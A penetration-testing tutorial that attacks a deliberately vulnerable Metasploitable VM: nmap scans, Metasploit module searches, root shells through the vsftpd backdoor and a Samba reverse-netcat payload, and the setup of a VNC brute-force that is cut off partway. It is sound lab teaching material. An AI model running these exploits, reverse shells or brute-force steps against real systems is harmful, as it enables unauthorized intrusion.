<p>Go to <a href="https://information.rapid7.com/download-metasploitable-2017.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">this link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and fill up the form to download. After downloading Metasploitable, you can set it up in a VirtualBox or a VMware or any software virtualization apps. If you’re using VMware workstation player, you can just load it up by double clicking the Metasploitable configuration file from the downloaded files. </p>



<p>Before we begin, a word of caution – Always remember that infiltrating any system without permission would be illegal. It’s better to create your own systems and practice hacking into them rather than learning to do it in real systems that might be illegal. </p>



<h2 id="target-identification-and-host-discovery" class="wp-block-heading"><a id="post-3536-_heading=h.147n2zr"></a>Target identification and Host discovery</h2>



<p>Now we’ll be performing the first step in any penetration testing – gathering information about the target host. I’ve created the Metasploitable system inside my local area network. So, I already know the IP address of the target machine. You might want to find out IP address of the target host in your case. You can use DNS enumeration for that case. DNS enumeration is the way to find out the DNS records for a host. You can use <code>nslookup</code>, <code>dig</code>, or <code>host</code> command to perform DNS enumeration and get the IP address associated with a domain. If you have access to the machine, you can just find out the IP address of the machine. For checking if the host is up, you can just use the <code>ping</code> command or use <code>nmap</code> for host discovery. </p>



<p>In my case, I ran <code>ifconfig</code> command on my Metasploitable machine, and got the IP address to be <code>192.168.74.129</code>. Let’s see if our attack machine can ping the victim machine: </p>



<pre class="wp-block-code prompt"><code>nmap -sn 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-07 03:43 EDT
Nmap scan report for 192.168.74.129
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Host is up</span> (0.00070s latency).
MAC Address: 00:0C:29:C9:1A:44 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
</code></pre>



<p>It’s clear that our attack machine can reach the victim machine. Let’s move on to the next step. </p>



<h2 id="port-scanning-service-detection" class="wp-block-heading"><a id="post-3536-_heading=h.3o7alnk"></a>Port scanning &amp; Service detection</h2>



<p>This is the next step in the information gathering phase. Now we’ll find out what ports are open and which services are running in our victim machine. We’ll use <code>nmap</code> to run the service discovery: </p>



<pre class="wp-block-code prompt"><code>nmap -sV 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-07 03:47 EDT
Nmap scan report for 192.168.74.129
Host is up (0.0013s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:C9:1A:44 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
</code></pre>



<p>As we can see, it’s party time for any penetration tester or hacker. There are too many ports open. The more open ports – the better the chance for one of the applications to be vulnerable. If you don’t know what we’re talking about, don’t worry. We’ve covered the scanning technique from the basics in a <code>nmap</code> tutorial that you can find <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<h2 id="vulnerability-analysis" class="wp-block-heading"><a id="post-3536-_heading=h.23ckvvd"></a>Vulnerability Analysis</h2>



<p>Now that we’ve performed the service detection step, we know what versions of applications our victim is running. We just have to find out which one of them might be vulnerable. You can find out vulnerabilities just by googling about them, or you can also search them in your Metasploit database. Let’s do the latter, and search in Metasploit. Fire up your Metasploit console with the <code>msfconsole</code> command. </p>



<p>Let’s find out if the first application in the list, <code>vsftpd 2.3.4</code> (which is an <strong>ftp</strong> service running on port <strong>21</strong>)  that we found in our service detection phase, has any exploits associated with it. Search for <code>vsftpd</code> in your Metasploit console:</p>



<pre class="wp-block-code promptmsf6"><code>search vsftpd</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
</code></pre>



<p>Whoa! The first one is already a hit. As you can see, the exploit rank is excellent and you can execute backdoor commands with this exploit. However, you must remember that this is metasploitable you’re attacking. In real systems, you will not find a lot of backdated applications with vulnerabilities. Let’s move on and check if the other applications are vulnerable or not. Try to see if the <code>openssh</code> has any vulnerabilities: </p>



<pre class="wp-block-code promptmsf6"><code>search openssh</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                         ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  post/windows/manage/forward_pageant                           normal     No     Forward SSH Agent Requests To Remote Pageant
   1  post/windows/manage/install_ssh                               normal     No     Install OpenSSH for Windows
   2  post/multi/gather/ssh_creds                                   normal     No     Multi Gather OpenSSH PKI Credentials Collection
   3  auxiliary/scanner/ssh/ssh_enumusers                           normal     No     SSH Username Enumeration
   4  exploit/windows/local/unquoted_service_path  2001-10-25       excellent  Yes    Windows Unquoted Service Path Privilege Escalation


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/unquoted_service_path
</code></pre>



<p>However, this result is not so much promising. Still, we probably can brute force the system to get the login credentials. Let’s find out some more vulnerabilities before we start exploiting them. The ftp application <code>ProFTPD 1.3.1</code> looks promising. Let’s search if anything is in the Metasploit database: </p>



<pre class="wp-block-code promptmsf6"><code>search proftpd</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                         ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    No     NetSupport Manager Agent Remote Buffer Overflow
   1  exploit/linux/ftp/proftp_sreplace            2006-11-26       great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   2  exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   3  exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   4  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
   5  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor
</code></pre>



<p>Seems like there is no specific mention of version <strong>1.3.1</strong> for the <strong>ProFTPD</strong> application. However, the other versions might still work. We’ll find that out very soon. </p>



<p>You can research each of the open port applications and find out what vulnerabilities might be associated with them. You can definitely use google and other exploit databases as well instead of only Metasploit. </p>



<h2 id="exploiting-vulnerabilities" class="wp-block-heading"><a id="post-3536-_heading=h.ihv636"></a>Exploiting Vulnerabilities</h2>



<p>This is the most anticipated step of the penetration test. In this step, we’ll exploit the victim machine in all its glory. Let’s begin with the most straightforward vulnerability to exploit that we found in the previous step. It is the <code>VSFTPD 2.3.4</code> backdoor command execution exploit. </p>



<h3 id="exploiting-the-vsftpd-vulnerability" class="wp-block-heading"><a id="post-3536-_heading=h.32hioqz"></a>Exploiting the VSFTPD vulnerability</h3>



<p>Let’s use the exploit (<code>exploit/unix/ftp/vsftpd_234_backdoor</code>): </p>



<pre class="wp-block-code promptmsf6"><code>use exploit/unix/ftp/vsftpd_234_backdoor</code></pre>



<pre class="wp-block-code"><code>&#091;*] No payload configured, defaulting to cmd/unix/interact</code></pre>



<p>After entering this command, you’ll see your command line will look like this: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; </code></pre>



<p>This means you are using this exploit now. Let’s see the options for the exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Let’s set up the RHOSTS as the target machine’s IP address (192.168.74.129 in my case): </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129 </code></pre>



<p>See the options again: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS  192.168.74.129</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   21               yes       The target port (TCP)


<span style="color: #3F84E5;" class="stk-highlight">Payload options (cmd/unix/interact):</span>

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Now you have to specify a payload as well. Let’s see what are our options: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; show payloads</code></pre>



<pre class="wp-block-code"><code>Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                       ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Not much of an option right? And this one is already set up in the options. You can check it yourself. There are no required values for this payload as well. Let’s check if this exploit will work or not –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; check
 &#091;-] Check failed: NoMethodError This module does not support check.

So, this exploit doesn’t support checking. Let’s move forward. This is the moment of truth. Let’s exploit the machine –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; exploit

&#091;*] 192.168.74.129:21 - Banner: 220 (vsFTPd 2.3.4)
&#091;*] 192.168.74.129:21 - USER: 331 Please specify the password.
&#091;+] 192.168.74.129:21 - Backdoor service has been spawned, handling...
&#091;+] 192.168.74.129:21 - UID: uid=0(root) gid=0(root)
&#091;*] Found shell.
&#091;*] Command shell session 2 opened (0.0.0.0:0 -&gt; 192.168.74.129:6200) at 2022-02-07 05:14:38 -0400


<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span></code></pre>



<p>Voila! We’ve successfully exploited the machine. We got the shell access. I ran the <code>whoami</code> command and got the reply as <code>root</code>. So, we have full access to the Metasploitable machine. We can do whatever the root can – everything! </p>



<p>Now before we show what to do after exploitation, let’s see some other methods of exploitation as well.  </p>



<h3 id="keeping-the-sessions-in-the-background" class="wp-block-heading"><a id="post-3536-_heading=h.1hmsyys"></a>Keeping the sessions in the background</h3>



<p>First, let’s keep the session we got in the background: </p>



<p>Type in <code>background</code> within the terminal, then type <code>y</code> and hit enter: </p>



<pre class="wp-block-code"><code>whoami
root
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">background</span>

Background session 2? &#091;y/N]   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">y</span>
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; </code></pre>



<p>You can access this session anytime using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Id</span>  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">2</span>         shell cmd/unix               0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)</code></pre>



<p>
  You can get back to the session by using the “-i” flag and specifying the ID. Do the following –
</p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; sessions -i 2
&#091;*] Starting interaction with 2...

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span>
</code></pre>



<h3 id="exploiting-samba-smb" class="wp-block-heading"><a id="post-3536-_heading=h.41mghml"></a>Exploiting samba smb</h3>



<p>Did you notice that the <code>netbios-ssn</code> service was running on Samba in our victim machine’s port <code>139</code> and <code>445</code>? There might be an exploit that we could use. But before that, there was no particular version written for the samba application. However, we have an auxiliary module in Metasploit that can find out the version for us. Let’s see this in action: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; search smb_version</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   ‐  ‐‐‐‐                               ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
</code></pre>



<p>   Now choose the smb scanner: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; use 0
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; </code></pre>



<p>Now let’s see the options we have to set up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>msf6 auxiliary(scanner/smb/smb_version) &gt; show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS</span>  1                yes       The number of concurrent threads (max one per host)</code></pre>



<p>We can set up the <code>RHOSTS</code> and <code>THREADS</code> here. The <code>RHOSTS</code> will be our target and the <code>THREADS</code> determine how fast will the program run. Let’s set them up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; set THREADS 16
THREADS =&gt; 16
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS   192.168.74.129</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS  16</span>               yes       The number of concurrent threads (max one per host)</code></pre>



<p>Now run it: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; run</code></pre>



<pre class="wp-block-code"><code>&#091;*] 192.168.74.129:445    - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
&#091;*] 192.168.74.129:445    -   Host could not be identified: Unix (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Samba 3.0.20-Debian</span>)
&#091;*] 192.168.74.129:       - Scanned 1 of 1 hosts (100% complete)
&#091;*] Auxiliary module execution completed
</code></pre>



<p>The output gives us the version of the <strong>Samba – 3.0.20</strong>. Now we can find out the vulnerabilities associated with it. Let’s try google. A simple google search reveals this version is vulnerable to <code>username map script</code> command execution. </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1903" height="873" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image.png" alt="" class="wp-image-3538" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image.png 1903w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-300x138.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1024x470.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-768x352.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1536x705.png 1536w" sizes="auto, (max-width: 1903px) 100vw, 1903px" /></figure>



<p>This is also available in Metasploit. Let’s perform a search: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; search username map script</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/oracle/oracle_login                   normal     No     Oracle RDBMS Login Utility
   <span style="color: #3F84E5;" class="stk-highlight">1</span>  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">exploit/multi/samba/usermap_script</span>     2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/usermap_script
</code></pre>



<p>As you can see, there is an exploit for this vulnerability with an excellent rank. Let’s use this one and try to gain access to the metasploitable machine: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; use 1
&#091;*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>We can see that the Payload options are already set up. I will not change it. You can change the LHOST to your attack machine’s IP address. We only need to set up the RHOSTS option: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129</code></pre>



<p>   Now let’s exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; exploit

&#091;*] <span style="color: #3F84E5;" class="stk-highlight">Started reverse TCP handler on 192.168.74.128:4444</span> 
&#091;*] <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Command shell session 3 opened</span> (192.168.74.128:4444 -&gt; 192.168.74.129:45078) at 2021-06-29 06:48:33 -0400

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span>
</code></pre>



<p>As you can see the exploit sets up a reverse TCP handler to accept the incoming connection from the Victim machine. Then the exploit completes and opens a session. We can also see that the access level is root. Now let’s move on to another exploit keeping this session in the background. </p>



<h3 id="exploiting-vnc" class="wp-block-heading"><a id="post-3536-_heading=h.2grqrue"></a>Exploiting VNC</h3>



<p>Now let’s try to exploit the VNC service running on our victim machine. If you search in Metasploit database, you will find no matching exploit for this one. This means you have to think of some other ways to get into this service. Let’s try to brute force the VNC login. We’ll be using the auxiliary scanner for <code>vnc login</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; search scanner vnc</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/vnc/ard_root_pw                          normal  No     Apple Remote Desktop Root Vulnerability
   1  auxiliary/scanner/http/thinvnc_traversal  2019-10-16       normal  No     ThinVNC Directory Traversal
   2  auxiliary/scanner/vnc/vnc_none_auth                        normal  No     VNC Authentication None Detection
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">3  auxiliary/scanner/vnc/vnc_login</span>                            normal  No     VNC <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Authentication Scanner</span>


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/vnc/vnc_login
</code></pre>



<p>We’ll be needing the <strong>VNC Authentication Scanner (3)</strong>. Let’s select it: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; use 3
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; </code></pre>



<p>We do not know what this auxiliary module does yet. Let’s find out. Remember the <code>info</code> command? </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; info</code></pre>



<pre class="wp-block-code"><code>       Name: VNC Authentication Scanner
     Module: auxiliary/scanner/vnc/vnc_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  carstein &lt;carstein.sec@gmail.com&gt;
  jduck &lt;jduck@metasploit.com&gt;

Check supported:
  No

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Basic options:
  Name              Current Setting                                                   Required  Description
  ‐‐‐‐              ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐                                                   ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
  BLANK_PASSWORDS   false                                                             no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                             no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                             no        Add all users in the current database to the list
  PASSWORD                                                                            no        The password to test
  </span><span style="color: #FFD670" class="stk-highlight">PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">  no        File containing passwords, one per line
  Proxies                                                                             no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
  </span><span style="color: #FFD670;" class="stk-highlight">RHOSTS</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
  </span><span style="color: #FFD670;" class="stk-highlight">RPORT             5900</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                              yes       The target port (TCP)
  </span><span style="color: #FFD670;" class="stk-highlight">STOP_ON_SUCCESS   false</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                             yes       Stop guessing when a credential works for a host
  </span><span style="color: #FFD670;" class="stk-highlight">THREADS           1</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                                 yes       The number of concurrent threads (max one per host)
  USERNAME          &lt;BLANK&gt;                                                           no        A specific username to authenticate as
  USERPASS_FILE                                                                       no        File containing users and passwords separated by space, one pair per line
  </span><span style="color: #FFD670;" class="stk-highlight">USER_AS_PASS      false</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                             no        Try the username as the password for all users
  USER_FILE                                                                           no        File containing usernames, one per line
  </span><span style="color: #FFD670;" class="stk-highlight">VERBOSE           true</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                              yes       Whether to print output for all attempts</span> 
Description:
  <span style="color: #3F84E5;" class="stk-highlight">This module will test a VNC server on a range of machines and report 
  successful logins. Currently it supports RFB protocol version 3.3, 
  3.7, 3.8 and 4.001 using the VNC challenge response authentication 
  method.</span>

References:
  https:&#47;&#47;nvd.nist.gov/vuln/detail/CVE-1999-0506</code></pre>



<p>We can see the options this module will take. The description is also there. From the description, it becomes clear that this is a module that will try brute-forcing. Another conspicuous fact is that this module supports <span style="color: #ffd670;" class="stk-highlight">RFB protocol version 3.3</span>, which is <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">written in our discovered VNC service (protocol 3.3)</span>. If you’re wondering why this is related – VNC service uses RFB protocol. So this module is compatible with the VNC service in our victim machine. Let’s move forward with this. </p>



<p>We’ve already seen the options this module will take from the “info” command. The options marked in yellow are the important ones. Not all of them are required though. We can see the default password file (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">PASS_FILE</span>) for the brute force will be (<span style="color: #ffd670;" class="stk-highlight">/usr/share/Metasploit-framework/data/wordlists/vnc_passwords.txt</span>). We’ll not be changing this file. You might want to change this one if you’re doing real world tests that are not Metasploitable. We have to define <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>. Let’s turn on <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">STOP_ON_SUCCESS</span> as well, which will stop the attack once the correct credentials are found. We’ll also increase the <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS</span> for faster operation, and set <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">USER_AS_PASS</span> to <span style="color: #ffd670;" class="stk-highlight">true</span>, which will use the same username and password as well. Let’s set these up: </p>



